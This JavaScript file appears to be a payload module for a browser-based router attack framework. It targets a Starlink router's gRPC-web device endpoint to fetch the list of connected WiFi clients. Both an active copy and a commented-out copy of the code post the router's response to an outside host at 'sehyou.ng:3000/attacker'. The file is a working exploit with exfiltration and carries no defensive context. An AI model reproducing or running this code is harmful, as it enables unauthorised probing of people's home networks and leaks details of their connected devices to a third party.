// const WifiGetClients = () => {
//     async function attack(headers, cookie, body) {
//         let myHeaders = new Headers();
//         let path = "/SpaceX.API.Device.Device/Handle";

//         let wifigetclients = new Uint8Array([0, 0, 0, 0, 4, 210, 187, 1, 0]);
        
//         myHeaders.append("x-grpc-web", "1");
//         myHeaders.append("Content-Type", "application/grpc-web+proto");
    
//         try {
//             const response = await fetch(path, {
//                 method: 'POST',
//                 headers: myHeaders,
//                 body: wifigetclients
//             });

//             const arrayBuffer = await response.arrayBuffer();
//             const responseData = new Uint8Array(arrayBuffer);

//             const responseHex = Array.from(responseData).map(b => b.toString(16).padStart(2, '0')).join(' ');

//             console.log("Response status:", response.status);
//             console.log("Response headers:", Object.fromEntries(response.headers));
//             console.log("Response body (hex):", responseHex);
            
//             // Alert the response
//             alert("Response body (hex): " + responseHex);

//             // Send the data to the attacker's server
//             await sendToAttackerServer(responseHex);

//         } catch (error) {
//             console.error("Error during fetch:", error);
//             alert("Error during fetch: " + error.message);
//         }
//     }

    // async function sendToAttackerServer(data) {
    //     try {
    //         const response = await fetch('http://sehyou.ng:3000/attacker', {
    //             method: 'POST',
    //             headers: {
    //                 'Content-Type': 'text/plain'
    //             },
    //             body: data
    //         });

    //         if (response.ok) {
    //             console.log("Data sent to attacker's server successfully");
    //         } else {
    //             console.error("Failed to send data to attacker's server");
    //         }
    //     } catch (error) {
    //         console.error("Error sending data to attacker's server:", error);
    //     }
    // }

//     async function isService(headers, cookie, body) {
//         return false;
//     }

//     return {
//         attack,
//         isService
//     }
// }

// Registry["Starlink Router WifiGetClients"] = WifiGetClients();


const WifiGetClients = () => {
    async function attack(headers, cookie, body) {
        let myHeaders = new Headers();
        let path = "/SpaceX.API.Device.Device/Handle";

        let wifigetclients = new Uint8Array([0, 0, 0, 0, 4, 210, 187, 1, 0]);
        
        myHeaders.append("x-grpc-web", "1");
        myHeaders.append("Content-Type", "application/grpc-web+proto");
    
        try {
            const response = await fetch(path, {
                method: 'POST',
                headers: myHeaders,
                body: wifigetclients
            });

            const arrayBuffer = await response.arrayBuffer();
            const responseData = new Uint8Array(arrayBuffer);

            const responseHex = Array.from(responseData).map(b => b.toString(16).padStart(2, '0')).join(' ');

            console.log("Response status:", response.status);
            console.log("Response headers:", Object.fromEntries(response.headers));
            console.log("Response body (hex):", responseHex);
            
            alert("Response body (hex) :" + responseHex);

            await fetch('http://sehyou.ng:3000/attacker', {
                method: 'POST',
                headers: {
                    'Content-Type': 'text/plain'
                },
                body: responseData
            });


        } catch (error) {
            console.error("Error during fetch:", error);
        }
    }

    async function isService(headers, cookie, body) {
        return false;
    }

    return {
        attack,
        isService
    }
}

Registry["Starlink Router WifiGetClients"] = WifiGetClients();